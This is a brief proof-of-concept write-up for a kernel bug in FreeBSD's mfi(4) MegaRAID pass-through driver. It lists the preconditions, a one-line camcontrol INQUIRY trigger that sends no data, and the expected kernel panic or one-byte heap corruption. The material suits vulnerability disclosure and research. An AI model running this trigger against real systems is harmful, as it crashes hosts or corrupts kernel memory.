# DF-2016 PoC — Unguarded `data_ptr` deref in INQUIRY rewrite of `mfip_done`

## Preconditions

1. LSI MegaRAID SAS controller with `mfi(4)` attached.
2. At least one physical drive target exposed via pass-through (`/dev/passN`).
3. User has R/W access to `/dev/passN` (typically `operator` group or root).

## Trigger

```sh
camcontrol cmd <passdev> -c "12 00 00 00 00 00"
```

(no `-d` / `-i` data flags → `CAM_DIR_NONE` / `dxfer_len=0`)

Or equivalent `ioctl(CAMIOCOMMAND)` building a CCB with `CAM_DIR_NONE` and
opcode `0x12` (INQUIRY).

## Expected output

On a controller that returns `MFI_STAT_OK` for zero-data INQUIRY:

- **NULL `data_ptr`:** kernel panic — `Fatal trap 12: page fault while in
  kernel mode`, faulting RIP inside `mfip_done` reading `csio->data_ptr`.
- **Zero-size slab `data_ptr`:** silent 1-byte kernel heap corruption (OOB
  read+write of masked byte).

If the firmware returns `MFI_STAT_SCSI_DONE_WITH_ERROR` or
`MFI_STAT_SCSI_IO_FAILED`, the deref is skipped and the bug is dormant on
that firmware.